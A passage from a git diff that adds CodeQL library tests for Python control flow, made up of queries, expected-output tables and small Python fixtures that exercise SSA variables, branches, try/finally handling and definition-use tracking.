b/python/ql/test/library-tests/ControlFlow/ssa/uses/test.ql @@ -0,0 +1,6 @@ +import python + +from ControlFlowNode use, SsaVariable def +where def.getAUse() = use +select use.getLocation().getFile().getShortName(), +use.toString(), use.getLocation().getStartLine(), def.toString(), def.getLocation().getStartLine() diff --git a/python/ql/test/library-tests/ControlFlow/ssa/uses/test1.py b/python/ql/test/library-tests/ControlFlow/ssa/uses/test1.py new file mode 100644 index 00000000000..d6fe26089b0 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/ssa/uses/test1.py @@ -0,0 +1,10 @@ +#Weird formatting is so that all uses and defn are on separate lines +#to assist checking test results. + + +def no_phi(cond): + l0 = 0 + l1 = 1 + l2 = l0 + l1 + return l2 + diff --git a/python/ql/test/library-tests/ControlFlow/ssa/uses/test2.py b/python/ql/test/library-tests/ControlFlow/ssa/uses/test2.py new file mode 100644 index 00000000000..d02c4c370bb --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/ssa/uses/test2.py @@ -0,0 +1,11 @@ +#Weird formatting is so that all uses and defn are on separate lines +#to assist checking test results. + +def with_phi( + cond): + if cond: + l0 = 0 + else: + l0 = 1 + return l0 + diff --git a/python/ql/test/library-tests/ControlFlow/ssa/uses/test3.py b/python/ql/test/library-tests/ControlFlow/ssa/uses/test3.py new file mode 100644 index 00000000000..ce2d9ac920e --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/ssa/uses/test3.py @@ -0,0 +1,14 @@ +#Weird formatting is so that all uses and defn are on separate lines +#to assist checking test results. + +def phi_in_try(): + try: + try: + a_call() + finally: + l0 = 0 + another_call() + except: + pass + return l0 + diff --git a/python/ql/test/library-tests/ControlFlow/ssa/uses/test5.py b/python/ql/test/library-tests/ControlFlow/ssa/uses/test5.py new file mode 100644 index 00000000000..8f900254ec6 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/ssa/uses/test5.py @@ -0,0 +1,11 @@ + +if x: + + def a(): + pass + +else: + + def a(): + pass + diff --git a/python/ql/test/library-tests/ControlFlow/ssa/uses/test6.py b/python/ql/test/library-tests/ControlFlow/ssa/uses/test6.py new file mode 100644 index 00000000000..d148a5c745b --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/ssa/uses/test6.py @@ -0,0 +1,6 @@ + +if x: + + def a(): + pass + del a diff --git a/python/ql/test/library-tests/ControlFlow/ssa/vars/test.expected b/python/ql/test/library-tests/ControlFlow/ssa/vars/test.expected new file mode 100644 index 00000000000..be7f90aea76 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/ssa/vars/test.expected @@ -0,0 +1,26 @@ +| test1.py | test1.py:5:5:5:10 | SSA Variable no_phi | 5 | +| test1.py | test1.py:6:5:6:6 | SSA Variable l0 | 6 | +| test1.py | test1.py:7:5:7:6 | SSA Variable l1 | 7 | +| test1.py | test1.py:8:5:8:6 | SSA Variable l2 | 8 | +| test2.py | test2.py:4:5:4:12 | SSA Variable with_phi | 4 | +| test2.py | test2.py:5:5:5:8 | SSA Variable cond | 5 | +| test2.py | test2.py:7:9:7:10 | SSA Variable l0 | 7 | +| test2.py | test2.py:9:9:9:10 | SSA Variable l0 | 9 | +| test2.py | test2.py:10:12:10:13 | SSA Variable l0 | 10 | +| test3.py | test3.py:4:5:4:14 | SSA Variable phi_in_try | 4 | +| test3.py | test3.py:9:13:9:14 | SSA Variable l0 | 9 | +| test3.py | test3.py:9:13:9:14 | SSA Variable l0 | 9 | +| test3.py | test3.py:11:5:11:11 | SSA Variable l0 | 11 | +| test3.py | test3.py:13:12:13:13 | SSA Variable l0 | 13 | +| test4.py | test4.py:2:5:2:8 | SSA Variable del1 | 2 | +| test4.py | test4.py:3:5:3:5 | SSA Variable x | 3 | +| test4.py | test4.py:5:5:5:5 | SSA Variable x | 5 | +| test4.py | test4.py:8:5:8:8 | SSA Variable del2 | 8 | +| test4.py | test4.py:9:5:9:5 | SSA Variable x | 9 | +| test4.py | test4.py:11:13:11:13 | SSA Variable x | 11 | +| test4.py | test4.py:13:9:13:9 | SSA Variable x | 13 | +| test4.py | test4.py:14:12:14:12 | SSA Variable x | 14 | +| test5.py | test5.py:0:0:0:0 | SSA Variable a | 0 | +| test5.py | test5.py:4:9:4:9 | SSA Variable a | 4 | +| test5.py | test5.py:9:9:9:9 | SSA Variable a | 9 | +| test6.py | test6.py:4:9:4:9 | SSA Variable a | 4 | diff --git a/python/ql/test/library-tests/ControlFlow/ssa/vars/test.ql b/python/ql/test/library-tests/ControlFlow/ssa/vars/test.ql new file mode 100644 index 00000000000..5e2dd530ad9 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/ssa/vars/test.ql @@ -0,0 +1,7 @@ +import python + +from SsaVariable var + +select var.getLocation().getFile().getShortName(), +var, var.getLocation().getStartLine() + diff --git a/python/ql/test/library-tests/ControlFlow/ssa/vars/test1.py b/python/ql/test/library-tests/ControlFlow/ssa/vars/test1.py new file mode 100644 index 00000000000..d6fe26089b0 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/ssa/vars/test1.py @@ -0,0 +1,10 @@ +#Weird formatting is so that all uses and defn are on separate lines +#to assist checking test results. + + +def no_phi(cond): + l0 = 0 + l1 = 1 + l2 = l0 + l1 + return l2 + diff --git a/python/ql/test/library-tests/ControlFlow/ssa/vars/test2.py b/python/ql/test/library-tests/ControlFlow/ssa/vars/test2.py new file mode 100644 index 00000000000..d02c4c370bb --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/ssa/vars/test2.py @@ -0,0 +1,11 @@ +#Weird formatting is so that all uses and defn are on separate lines +#to assist checking test results. + +def with_phi( + cond): + if cond: + l0 = 0 + else: + l0 = 1 + return l0 + diff --git a/python/ql/test/library-tests/ControlFlow/ssa/vars/test3.py b/python/ql/test/library-tests/ControlFlow/ssa/vars/test3.py new file mode 100644 index 00000000000..ce2d9ac920e --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/ssa/vars/test3.py @@ -0,0 +1,14 @@ +#Weird formatting is so that all uses and defn are on separate lines +#to assist checking test results. + +def phi_in_try(): + try: + try: + a_call() + finally: + l0 = 0 + another_call() + except: + pass + return l0 + diff --git a/python/ql/test/library-tests/ControlFlow/ssa/vars/test4.py b/python/ql/test/library-tests/ControlFlow/ssa/vars/test4.py new file mode 100644 index 00000000000..1f4426514a2 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/ssa/vars/test4.py @@ -0,0 +1,15 @@ + +def del1(): + x = 0 + del x + x = 0 + return x + +def del2(): + x = 0 + if random(): + del x + else: + x = 1 + return x + diff --git a/python/ql/test/library-tests/ControlFlow/ssa/vars/test5.py b/python/ql/test/library-tests/ControlFlow/ssa/vars/test5.py new file mode 100644 index 00000000000..8f900254ec6 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/ssa/vars/test5.py @@ -0,0 +1,11 @@ + +if x: + + def a(): + pass + +else: + + def a(): + pass + diff --git a/python/ql/test/library-tests/ControlFlow/ssa/vars/test6.py b/python/ql/test/library-tests/ControlFlow/ssa/vars/test6.py new file mode 100644 index 00000000000..d148a5c745b --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/ssa/vars/test6.py @@ -0,0 +1,6 @@ + +if x: + + def a(): + pass + del a diff --git a/python/ql/test/library-tests/ControlFlow/truefalse/Branch.expected b/python/ql/test/library-tests/ControlFlow/truefalse/Branch.expected new file mode 100644 index 00000000000..a5feb4fc4e8 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/truefalse/Branch.expected @@ -0,0 +1,14 @@ +| 2 | boolops.py:2:9:6:25 | ControlFlowNode for UnaryExpr | +| 2 | boolops.py:2:9:6:25 | ControlFlowNode for UnaryExpr | +| 3 | boolops.py:3:13:3:13 | ControlFlowNode for x | +| 4 | boolops.py:4:17:6:24 | ControlFlowNode for UnaryExpr | +| 4 | boolops.py:4:17:6:24 | ControlFlowNode for UnaryExpr | +| 5 | boolops.py:5:22:5:23 | ControlFlowNode for y1 | +| 6 | boolops.py:6:22:6:23 | ControlFlowNode for z1 | +| 7 | boolops.py:7:8:11:23 | ControlFlowNode for UnaryExpr | +| 7 | boolops.py:7:8:11:23 | ControlFlowNode for UnaryExpr | +| 8 | boolops.py:8:12:8:12 | ControlFlowNode for x | +| 9 | boolops.py:9:15:11:22 | ControlFlowNode for UnaryExpr | +| 9 | boolops.py:9:15:11:22 | ControlFlowNode for UnaryExpr | +| 10 | boolops.py:10:20:10:21 | ControlFlowNode for y2 | +| 11 | boolops.py:11:20:11:21 | ControlFlowNode for z2 | diff --git a/python/ql/test/library-tests/ControlFlow/truefalse/Branch.ql b/python/ql/test/library-tests/ControlFlow/truefalse/Branch.ql new file mode 100644 index 00000000000..76b235c8006 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/truefalse/Branch.ql @@ -0,0 +1,12 @@ +/** + * @name Branch + * @description Insert description here... + * @kind problem + * @problem.severity warning + */ + +import python + +from ControlFlowNode f +where f.isBranch() and f.getLocation().getFile().getShortName() = "boolops.py" +select f.getLocation().getStartLine(), f diff --git a/python/ql/test/library-tests/ControlFlow/truefalse/ExceptionalSuccessors.expected b/python/ql/test/library-tests/ControlFlow/truefalse/ExceptionalSuccessors.expected new file mode 100644 index 00000000000..b84e4f43f92 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/truefalse/ExceptionalSuccessors.expected @@ -0,0 +1,23 @@ +| true_false_test.py | 14 | true_false_test.py:14:12:14:16 | ControlFlowNode for cond4 | ControlFlowNode for Pass | +| true_false_test.py | 15 | true_false_test.py:15:13:15:17 | ControlFlowNode for true4 | ControlFlowNode for Pass | +| true_false_test.py | 15 | true_false_test.py:15:13:15:19 | ControlFlowNode for true4() | ControlFlowNode for Pass | +| true_false_test.py | 17 | true_false_test.py:17:13:17:18 | ControlFlowNode for false4 | ControlFlowNode for Pass | +| true_false_test.py | 17 | true_false_test.py:17:13:17:20 | ControlFlowNode for false4() | ControlFlowNode for Pass | +| true_false_test.py | 19 | true_false_test.py:19:9:19:12 | ControlFlowNode for Pass | Entry node for Function func | +| true_false_test.py | 22 | true_false_test.py:22:13:22:17 | ControlFlowNode for true5 | ControlFlowNode for ExceptStmt | +| true_false_test.py | 22 | true_false_test.py:22:13:22:19 | ControlFlowNode for true5() | ControlFlowNode for ExceptStmt | +| true_false_test.py | 35 | true_false_test.py:35:18:35:26 | ControlFlowNode for range() | Entry node for Function func | +| true_false_test.py | 48 | true_false_test.py:48:17:48:24 | ControlFlowNode for true12() | ControlFlowNode for ExceptStmt | +| true_false_test.py | 48 | true_false_test.py:48:17:48:24 | ControlFlowNode for true12() | Entry node for Function func | +| true_succ.py | 8 | true_succ.py:8:21:8:39 | ControlFlowNode for open() | ControlFlowNode for ExceptStmt | +| true_succ.py | 8 | true_succ.py:8:21:8:39 | ControlFlowNode for open() | ControlFlowNode for f | +| true_succ.py | 9 | true_succ.py:9:17:9:23 | ControlFlowNode for Attribute | ControlFlowNode for ExceptStmt | +| true_succ.py | 9 | true_succ.py:9:17:9:23 | ControlFlowNode for Attribute | ControlFlowNode for f | +| true_succ.py | 9 | true_succ.py:9:17:9:32 | ControlFlowNode for Attribute() | ControlFlowNode for ExceptStmt | +| true_succ.py | 9 | true_succ.py:9:17:9:32 | ControlFlowNode for Attribute() | ControlFlowNode for f | +| true_succ.py | 11 | true_succ.py:11:17:11:19 | ControlFlowNode for sys | ControlFlowNode for f | +| true_succ.py | 11 | true_succ.py:11:17:11:24 | ControlFlowNode for Attribute | ControlFlowNode for f | +| true_succ.py | 11 | true_succ.py:11:17:11:27 | ControlFlowNode for Attribute() | ControlFlowNode for f | +| true_succ.py | 13 | true_succ.py:13:16:13:28 | ControlFlowNode for Compare | Entry node for Function example | +| true_succ.py | 13 | true_succ.py:13:31:13:39 | ControlFlowNode for Attribute() | Entry node for Function example | +| true_succ.py | 13 | true_succ.py:13:31:13:39 | ControlFlowNode for Attribute() | Entry node for Function example | diff --git a/python/ql/test/library-tests/ControlFlow/truefalse/ExceptionalSuccessors.ql b/python/ql/test/library-tests/ControlFlow/truefalse/ExceptionalSuccessors.ql new file mode 100644 index 00000000000..f7bf00db01b --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/truefalse/ExceptionalSuccessors.ql @@ -0,0 +1,16 @@ +/** + * @name TrueFalseSuccessors Test + * @description Tests true/false successors + * @kind problem + * @problem.severity warning + */ + +import python + +from ControlFlowNode p, ControlFlowNode s +where +s = p.getAnExceptionalSuccessor() +or +// Add fake edges for node that raise out of scope +p.isExceptionalExit(_) and s = p.getScope().getEntryNode() +select p.getLocation().getFile().getShortName(), p.getLocation().getStartLine(), p, s.toString() diff --git a/python/ql/test/library-tests/ControlFlow/truefalse/TrueAndFalseSuccessor.expected b/python/ql/test/library-tests/ControlFlow/truefalse/TrueAndFalseSuccessor.expected new file mode 100644 index 00000000000..e69de29bb2d diff --git a/python/ql/test/library-tests/ControlFlow/truefalse/TrueAndFalseSuccessor.ql b/python/ql/test/library-tests/ControlFlow/truefalse/TrueAndFalseSuccessor.ql new file mode 100644 index 00000000000..d5d8323a3a2 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/truefalse/TrueAndFalseSuccessor.ql @@ -0,0 +1,7 @@ + + +import python + +from ControlFlowNode f +where f.getATrueSuccessor() = f.getAFalseSuccessor() +select f.toString() \ No newline at end of file diff --git a/python/ql/test/library-tests/ControlFlow/truefalse/TrueFalseSuccessors.expected b/python/ql/test/library-tests/ControlFlow/truefalse/TrueFalseSuccessors.expected new file mode 100644 index 00000000000..4590ee6f390 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/truefalse/TrueFalseSuccessors.expected @@ -0,0 +1,82 @@ +| boolops.py | 2 | boolops.py:2:9:6:25 | ControlFlowNode for UnaryExpr | ControlFlowNode for p | False | +| boolops.py | 2 | boolops.py:2:9:6:25 | ControlFlowNode for UnaryExpr | ControlFlowNode for p | True | +| boolops.py | 3 | boolops.py:3:13:3:13 | ControlFlowNode for x | ControlFlowNode for BoolExpr | True | +| boolops.py | 3 | boolops.py:3:13:3:13 | ControlFlowNode for x | ControlFlowNode for UnaryExpr | False | +| boolops.py | 4 | boolops.py:4:17:6:24 | ControlFlowNode for UnaryExpr | ControlFlowNode for UnaryExpr | False | +| boolops.py | 4 | boolops.py:4:17:6:24 | ControlFlowNode for UnaryExpr | ControlFlowNode for UnaryExpr | True | +| boolops.py | 5 | boolops.py:5:22:5:23 | ControlFlowNode for y1 | ControlFlowNode for UnaryExpr | True | +| boolops.py | 5 | boolops.py:5:22:5:23 | ControlFlowNode for y1 | ControlFlowNode for z1 | False | +| boolops.py | 6 | boolops.py:6:22:6:23 | ControlFlowNode for z1 | ControlFlowNode for UnaryExpr | False | +| boolops.py | 6 | boolops.py:6:22:6:23 | ControlFlowNode for z1 | ControlFlowNode for UnaryExpr | True | +| boolops.py | 7 | boolops.py:7:8:11:23 | ControlFlowNode for UnaryExpr | ControlFlowNode for Str | False | +| boolops.py | 7 | boolops.py:7:8:11:23 | ControlFlowNode for UnaryExpr | ControlFlowNode for Str | True | +| boolops.py | 8 | boolops.py:8:12:8:12 | ControlFlowNode for x | ControlFlowNode for BoolExpr | False | +| boolops.py | 8 | boolops.py:8:12:8:12 | ControlFlowNode for x | ControlFlowNode for UnaryExpr | True | +| boolops.py | 9 | boolops.py:9:15:11:22 | ControlFlowNode for UnaryExpr | ControlFlowNode for UnaryExpr | False | +| boolops.py | 9 | boolops.py:9:15:11:22 | ControlFlowNode for UnaryExpr | ControlFlowNode for UnaryExpr | True | +| boolops.py | 10 | boolops.py:10:20:10:21 | ControlFlowNode for y2 | ControlFlowNode for UnaryExpr | False | +| boolops.py | 10 | boolops.py:10:20:10:21 | ControlFlowNode for y2 | ControlFlowNode for z2 | True | +| boolops.py | 11 | boolops.py:11:20:11:21 | ControlFlowNode for z2 | ControlFlowNode for UnaryExpr | False | +| boolops.py | 11 | boolops.py:11:20:11:21 | ControlFlowNode for z2 | ControlFlowNode for UnaryExpr | True | +| true_false_test.py | 3 | true_false_test.py:3:8:3:12 | ControlFlowNode for cond1 | ControlFlowNode for cond2 | False | +| true_false_test.py | 3 | true_false_test.py:3:8:3:12 | ControlFlowNode for cond1 | ControlFlowNode for true1 | True | +| true_false_test.py | 5 | true_false_test.py:5:8:5:12 | ControlFlowNode for cond2 | ControlFlowNode for Pass | True | +| true_false_test.py | 5 | true_false_test.py:5:8:5:12 | ControlFlowNode for cond2 | ControlFlowNode for false2 | False | +| true_false_test.py | 9 | true_false_test.py:9:8:9:12 | ControlFlowNode for cond3 | ControlFlowNode for false3 | False | +| true_false_test.py | 9 | true_false_test.py:9:8:9:12 | ControlFlowNode for cond3 | ControlFlowNode for true3 | True | +| true_false_test.py | 14 | true_false_test.py:14:12:14:16 | ControlFlowNode for cond4 | ControlFlowNode for false4 | False | +| true_false_test.py | 14 | true_false_test.py:14:12:14:16 | ControlFlowNode for cond4 | ControlFlowNode for true4 | True | +| true_false_test.py | 20 | true_false_test.py:20:8:20:12 | ControlFlowNode for cond5 | ControlFlowNode for Try | True | +| true_false_test.py | 20 | true_false_test.py:20:8:20:12 | ControlFlowNode for cond5 | ControlFlowNode for false5 | False | +| true_false_test.py | 27 | true_false_test.py:27:8:27:12 | ControlFlowNode for cond6 | ControlFlowNode for cond7 | True | +| true_false_test.py | 27 | true_false_test.py:27:8:27:12 | ControlFlowNode for cond6 | ControlFlowNode for false6 | False | +| true_false_test.py | 28 | true_false_test.py:28:12:28:16 | ControlFlowNode for cond7 | ControlFlowNode for false7 | False | +| true_false_test.py | 28 | true_false_test.py:28:12:28:16 | ControlFlowNode for cond7 | ControlFlowNode for true7 | True | +| true_false_test.py | 34 | true_false_test.py:34:8:34:12 | ControlFlowNode for cond8 | ControlFlowNode for false8 | False | +| true_false_test.py | 34 | true_false_test.py:34:8:34:12 | ControlFlowNode for cond8 | ControlFlowNode for range | True | +| true_false_test.py | 39 | true_false_test.py:39:8:39:12 | ControlFlowNode for cond9 | ControlFlowNode for While | True | +| true_false_test.py | 39 | true_false_test.py:39:8:39:12 | ControlFlowNode for cond9 | ControlFlowNode for false9 | False | +| true_false_test.py | 40 | true_false_test.py:40:15:40:20 | ControlFlowNode for cond10 | ControlFlowNode for false10 | False | +| true_false_test.py | 40 | true_false_test.py:40:15:40:20 | ControlFlowNode for cond10 | ControlFlowNode for true10 | True | +| true_false_test.py | 45 | true_false_test.py:45:11:45:11 | ControlFlowNode for IntegerLiteral | ControlFlowNode for cond12 | True | +| true_false_test.py | 46 | true_false_test.py:46:12:46:17 | ControlFlowNode for cond12 | ControlFlowNode for Try | True | +| true_false_test.py | 46 | true_false_test.py:46:12:46:17 | ControlFlowNode for cond12 | ControlFlowNode for While | False | +| true_false_test.py | 55 | true_false_test.py:55:11:55:16 | ControlFlowNode for condw1 | ControlFlowNode for truew2 | True | +| true_false_test.py | 55 | true_false_test.py:55:11:55:16 | ControlFlowNode for condw1 | Exit node for Function func2 | False | +| true_false_test.py | 59 | true_false_test.py:59:8:59:13 | ControlFlowNode for condi1 | ControlFlowNode for truei1 | True | +| true_false_test.py | 59 | true_false_test.py:59:8:59:13 | ControlFlowNode for condi1 | Exit node for Function func3 | False | +| true_false_test.py | 63 | true_false_test.py:63:11:63:14 | ControlFlowNode for True | ControlFlowNode for no_branch | True | +| true_false_test.py | 69 | true_false_test.py:69:11:69:14 | ControlFlowNode for True | ControlFlowNode for Break | True | +| true_false_test.py | 71 | true_false_test.py:71:8:71:13 | ControlFlowNode for cond11 | ControlFlowNode for true11 | True | +| true_false_test.py | 71 | true_false_test.py:71:8:71:13 | ControlFlowNode for cond11 | Exit node for Function func5 | False | +| true_false_test.py | 75 | true_false_test.py:75:8:75:13 | ControlFlowNode for cond13 | ControlFlowNode for cond13a | False | +| true_false_test.py | 75 | true_false_test.py:75:8:75:13 | ControlFlowNode for cond13 | ControlFlowNode for true13 | True | +| true_false_test.py | 75 | true_false_test.py:75:18:75:24 | ControlFlowNode for cond13a | ControlFlowNode for BoolExpr | False | +| true_false_test.py | 75 | true_false_test.py:75:18:75:24 | ControlFlowNode for cond13a | ControlFlowNode for true13 | True | +| true_false_test.py | 77 | true_false_test.py:77:8:77:13 | ControlFlowNode for cond14 | ControlFlowNode for cond14a | True | +| true_false_test.py | 77 | true_false_test.py:77:8:77:13 | ControlFlowNode for cond14 | ControlFlowNode for cond15 | False | +| true_false_test.py | 77 | true_false_test.py:77:19:77:25 | ControlFlowNode for cond14a | ControlFlowNode for cond15 | False | +| true_false_test.py | 77 | true_false_test.py:77:19:77:25 | ControlFlowNode for cond14a | ControlFlowNode for true14 | True | +| true_false_test.py | 79 | true_false_test.py:79:15:79:20 | ControlFlowNode for cond15 | ControlFlowNode for false15 | False | +| true_false_test.py | 79 | true_false_test.py:79:15:79:20 | ControlFlowNode for cond15 | ControlFlowNode for true15 | True | +| true_false_test.py | 80 | true_false_test.py:80:15:80:20 | ControlFlowNode for cond16 | ControlFlowNode for cond17 | False | +| true_false_test.py | 80 | true_false_test.py:80:15:80:20 | ControlFlowNode for cond16 | ControlFlowNode for true16 | True | +| true_false_test.py | 80 | true_false_test.py:80:25:80:30 | ControlFlowNode for cond17 | ControlFlowNode for false16 | False | +| true_false_test.py | 80 | true_false_test.py:80:25:80:30 | ControlFlowNode for cond17 | ControlFlowNode for true16 | True | +| true_false_test.py | 81 | true_false_test.py:81:15:81:20 | ControlFlowNode for cond18 | ControlFlowNode for cond19 | True | +| true_false_test.py | 81 | true_false_test.py:81:15:81:20 | ControlFlowNode for cond18 | ControlFlowNode for false18 | False | +| true_false_test.py | 81 | true_false_test.py:81:26:81:31 | ControlFlowNode for cond19 | ControlFlowNode for false18 | False | +| true_false_test.py | 81 | true_false_test.py:81:26:81:31 | ControlFlowNode for cond19 | ControlFlowNode for true18 | True | +| true_false_test.py | 84 | true_false_test.py:84:11:84:16 | ControlFlowNode for cond20 | ControlFlowNode for Yield | True | +| true_false_test.py | 84 | true_false_test.py:84:11:84:16 | ControlFlowNode for cond20 | ControlFlowNode for cond21 | False | +| true_false_test.py | 84 | true_false_test.py:84:21:84:26 | ControlFlowNode for cond21 | ControlFlowNode for Yield | True | +| true_false_test.py | 84 | true_false_test.py:84:21:84:26 | ControlFlowNode for cond21 | ControlFlowNode for cond22 | False | +| true_false_test.py | 85 | true_false_test.py:85:11:85:16 | ControlFlowNode for cond23 | ControlFlowNode for Yield | False | +| true_false_test.py | 85 | true_false_test.py:85:11:85:16 | ControlFlowNode for cond23 | ControlFlowNode for cond24 | True | +| true_false_test.py | 85 | true_false_test.py:85:22:85:27 | ControlFlowNode for cond24 | ControlFlowNode for Yield | False | +| true_false_test.py | 85 | true_false_test.py:85:22:85:27 | ControlFlowNode for cond24 | ControlFlowNode for cond25 | True | +| true_succ.py | 4 | true_succ.py:4:8:4:15 | ControlFlowNode for filename | ControlFlowNode for Str | False | +| true_succ.py | 4 | true_succ.py:4:8:4:15 | ControlFlowNode for filename | ControlFlowNode for Try | True | +| true_succ.py | 13 | true_succ.py:13:16:13:28 | ControlFlowNode for Compare | ControlFlowNode for Str | False | +| true_succ.py | 13 | true_succ.py:13:16:13:28 | ControlFlowNode for Compare | ControlFlowNode for f | True | +| true_succ.py | 13 | true_succ.py:13:16:13:28 | ControlFlowNode for Compare | ControlFlowNode for f | True | diff --git a/python/ql/test/library-tests/ControlFlow/truefalse/TrueFalseSuccessors.ql b/python/ql/test/library-tests/ControlFlow/truefalse/TrueFalseSuccessors.ql new file mode 100644 index 00000000000..0f0e614523a --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/truefalse/TrueFalseSuccessors.ql @@ -0,0 +1,15 @@ +/** + * @name TrueFalseSuccessors Test + * @description Tests true/false successors + * @kind problem + * @problem.severity warning + */ + +import python + +from ControlFlowNode p, ControlFlowNode s, string which +where +s = p.getAFalseSuccessor() and which = "False" +or +s = p.getATrueSuccessor() and which = "True" +select p.getLocation().getFile().getShortName(), p.getLocation().getStartLine(), p, s.toString(), which diff --git a/python/ql/test/library-tests/ControlFlow/truefalse/boolops.py b/python/ql/test/library-tests/ControlFlow/truefalse/boolops.py new file mode 100644 index 00000000000..383b12a6a56 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/truefalse/boolops.py @@ -0,0 +1,14 @@ +def boolops(x, y1, z1, y2, z2): + p = not( + x + and not ( + y1 or + z1)) + if not( + x + or not ( + y2 and + z2)): + return b"true" + else: + return b"false" diff --git a/python/ql/test/library-tests/ControlFlow/truefalse/true_false_test.py b/python/ql/test/library-tests/ControlFlow/truefalse/true_false_test.py new file mode 100644 index 00000000000..031845551ae --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/truefalse/true_false_test.py @@ -0,0 +1,85 @@ + +def func(): + if cond1: + true1 + if cond2: + pass + else: + false2 + if cond3: + true3 + else: + false3 + try: + if cond4: + true4() + else: + false4() + finally: + pass + if cond5: + try: + true5() + except: + pass + else: + false5 + if cond6: + if cond7: + true7 + else: + false7 + else: + false6 + if cond8: + for i in range(10): + pass + else: + false8 + if cond9: + while cond10: + true10 + false10 + else: + false9 + while 1: + if cond12: + try: + true12() + except IOError: + true12 = 0 + + + +def func2(): + while condw1: + truew2 + +def func3(): + if condi1: + truei1 + +def func4(): + while True: + no_branch + if unreachable: + not reachable + +def func5(): + while True: + break + if cond11: + true11 + +def func6(): + if cond13 or cond13a: + true13 + if cond14 and cond14a: + true14 + true15 if cond15 else false15 + true16 if cond16 or cond17 else false16 + true18 if cond18 and cond19 else false18 + +def func7(): + yield cond20 or cond21 or cond22 + yield cond23 and cond24 and cond25 diff --git a/python/ql/test/library-tests/ControlFlow/truefalse/true_succ.py b/python/ql/test/library-tests/ControlFlow/truefalse/true_succ.py new file mode 100644 index 00000000000..1d879cd4b42 --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/truefalse/true_succ.py @@ -0,0 +1,16 @@ +#https://semmle.com/jira/browse/ODASA-1222 + +def example(filename): + if filename: + try: + f = None + try: + f = open(filename, 'w') + f.write('Hello') + except IOError: + sys.exit(1) + finally: + if f is not None: f.close() + + assert u"This is a false successor to the comparison" + diff --git a/python/ql/test/library-tests/ControlFlow/try/test.py b/python/ql/test/library-tests/ControlFlow/try/test.py new file mode 100644 index 00000000000..7c543b2993e --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/try/test.py @@ -0,0 +1,42 @@ +#Test that the flow control through nested trys is handled correctly. + +def f1(): + try: + x = call() + finally: + try: + another_call() + except: + pass + return x + +def f2(): + try: + x = call() + except: + try: + another_call() + finally: + x = 0 + return x + +def f3(): + try: + x = call() + except: + try: + another_call() + except: + pass + return x + +def f4(): + try: + x = call() + finally: + try: + another_call() + finally: + x = 0 + return x + diff --git a/python/ql/test/library-tests/ControlFlow/try/test_ssa.expected b/python/ql/test/library-tests/ControlFlow/try/test_ssa.expected new file mode 100644 index 00000000000..73dd6613cec --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/try/test_ssa.expected @@ -0,0 +1,8 @@ +| test.py | SSA Variable f1 | 3 | Exit node for Module test | 0 | +| test.py | SSA Variable f2 | 13 | Exit node for Module test | 0 | +| test.py | SSA Variable f3 | 23 | Exit node for Module test | 0 | +| test.py | SSA Variable f4 | 33 | Exit node for Module test | 0 | +| test.py | SSA Variable x | 5 | ControlFlowNode for x | 11 | +| test.py | SSA Variable x | 21 | ControlFlowNode for x | 21 | +| test.py | SSA Variable x | 31 | ControlFlowNode for x | 31 | +| test.py | SSA Variable x | 40 | ControlFlowNode for x | 41 | diff --git a/python/ql/test/library-tests/ControlFlow/try/test_ssa.ql b/python/ql/test/library-tests/ControlFlow/try/test_ssa.ql new file mode 100644 index 00000000000..8df422495fb --- /dev/null +++ b/python/ql/test/library-tests/ControlFlow/try/test_ssa.ql @@ -0,0 +1,7 @@ +import python + +from SsaVariable var, ControlFlowNode use +where use = var.getAUse() +select var.getLocation().getFile().getShortName(), +var.toString(), var.getLocation().getStartLine(), use.toString(), use.getLocation().getStartLine() + diff --git a/python/ql/test/library-tests/DefUse/Definitions.expected b/python/ql/test/library-tests/DefUse/Definitions.expected new file mode 100644 index 00000000000..a4670930f96 --- /dev/null +++ b/python/ql/test/library-tests/DefUse/Definitions.expected @@ -0,0 +1,5 @@ +| a | 1 | +| b | 2 | +| c | 3 | +| ctx | 22 | +| ex | 16 | diff --git a/python/ql/test/library-tests/DefUse/Definitions.ql b/python/ql/test/library-tests/DefUse/Definitions.ql new file mode 100644 index 00000000000..927aee8f930 --- /dev/null +++ b/python/ql/test/library-tests/DefUse/Definitions.ql @@ -0,0 +1,12 @@ +/** + * @name Definitions + * @description Insert description here... + * @kind problem + * @problem.severity warning + */ + +import python + +from Name d +where d.defines(_) +select d.getId(), d.getLocation().getStartLine() \ No newline at end of file diff --git a/python/ql/test/library-tests/DefUse/Uses.expected b/python/ql/test/library-tests/DefUse/Uses.expected new file mode 100644 index 00000000000..d36da6087a5 --- /dev/null +++ b/python/ql/test/library-tests/DefUse/Uses.expected @@ -0,0 +1,9 @@ +| C1 | 19 | +| C2 | 22 | +| E1 | 11 | +| E2 | 16 | +| a | 4 | +| b | 5 | +| ctx | 23 | +| d | 7 | +| ex | 17 | diff --git a/python/ql/test/library-tests/DefUse/Uses.ql b/python/ql/test/library-tests/DefUse/Uses.ql new file mode 100644 index 00000000000..f19f08c126e --- /dev/null +++ b/python/ql/test/library-tests/DefUse/Uses.ql @@ -0,0 +1,12 @@ +/** + * @name Usages + * @description Insert description here... + * @kind problem + * @problem.severity warning + */ + +import python + +from Name u +where u.uses(_) +select u.getId(), u.getLocation().getStartLine() \ No newline at end of file diff --git a/python/ql/test/library-tests/DefUse/defuse.py 